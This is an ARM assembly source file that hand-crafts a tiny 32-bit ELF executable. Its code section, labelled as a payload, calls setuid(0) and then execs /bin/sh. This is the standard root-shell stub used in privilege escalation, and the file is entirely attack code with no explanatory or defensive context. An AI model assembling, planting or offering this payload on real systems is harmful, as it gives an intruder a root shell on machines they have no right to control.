.section .text
.globl _start

// --- 32-bit ELF Header (52 bytes) ---
ehdr:
    .byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF"
    .byte 1, 1, 1, 0             // 32-bit, little-endian, version 1
    .byte 0, 0, 0, 0, 0, 0, 0, 0
    .short 2                     // e_type: Executable
    .short 40                    // e_machine: ARM (0x28)
    .int 1                       // e_version
    .int 0x400054                // e_entry (0x400000 + 0x34 + 0x20)
    .int 0x34                    // e_phoff (Program Header offset = 52)
    .int 0                       // e_shoff
    .int 0x5000400               // e_flags: EF_ARM_EABI_VER5 | EF_ARM_VFP_FLOAT
    .short 52                    // e_ehsize
    .short 32                    // e_phentsize
    .short 1                     // e_phnum
    .short 0                     // e_shentsize
    .short 0                     // e_shnum
    .short 0                     // e_shstrndx

// --- Program Header (PT_LOAD, 32 bytes) ---
phdr:
    .int 1                       // p_type: PT_LOAD
    .int 0                       // p_offset
    .int 0x400000                // p_vaddr
    .int 0x400000                // p_paddr
    .int file_end - ehdr         // p_filesz
    .int file_end - ehdr         // p_memsz
    .int 5                       // p_flags: PF_R | PF_X
    .int 0x10000                 // p_align

// --- Payload ---
_start:
    mov  r0, #0
    mov  r7, #23                 // SYS_setuid
    svc  #0

    adr  r0, sh                  // PC-relative load of the "sh" label
    mov  r1, #0
    mov  r2, #0
    mov  r7, #11                 // SYS_execve
    svc  #0

    mov  r0, #0
    mov  r7, #1                  // SYS_exit
    svc  #0

sh:
    .asciz "/bin/sh"             // 8 bytes (includes null terminator)

file_end:
